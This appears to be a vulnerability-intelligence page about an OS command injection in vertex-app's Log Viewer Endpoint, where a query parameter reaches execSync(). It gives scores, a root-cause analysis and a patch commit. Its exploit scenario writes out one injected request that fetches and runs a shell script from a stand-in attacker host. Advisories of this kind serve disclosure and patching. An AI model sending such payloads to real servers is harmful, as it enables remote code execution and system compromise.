EUVD-2026-34965
GHSA-cx7v-5xwm-4mqw
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was identified in vertex-app vertex up to 2026.02.12. This issue affects some unknown processing of the file app/model/LogMod.js of the component Log Viewer Endpoint. Such manipulation of the argument req.query leads to os command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The name of the patch is 805d82e7100d49b79b3beb1b9420e8e458987198. It is best practice to apply a patch to resolve this issue.
AnalysisAI
OS command injection in vertex-app vertex (all versions through 2026.02.12) allows remote low-privileged authenticated users to execute arbitrary operating system commands via the Log Viewer Endpoint. The root cause is direct interpolation of the user-controlled req.query.type parameter into a shell-executed execSync() call in app/model/LogMod.js, enabling shell metacharacter injection without any sanitization or allowlist validation. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must hold a valid low-privilege authenticated session within the vertex application (confirmed by CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 6.3 base score with vector AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L reflects a network-reachable, low-complexity exploit requiring only low-privilege authentication and no user interaction, with partial confidentiality, integrity, and availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated user with a low-privilege account sends an HTTP GET request to the Log Viewer Endpoint with a crafted `type` query parameter containing shell metacharacters, for example: `GET /logs?type=error;curl+attacker.com/shell.sh|bash`. The server-side `execSync()` call in LogMod.js interprets the injected payload as a shell command and executes it with the privileges of the Node.js application process. … |
| Remediation | Apply upstream patch commit 805d82e7100d49b79b3beb1b9420e8e458987198, available at https://github.com/vertex-app/vertex/commit/805d82e7100d49b79b3beb1b9420e8e458987198. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today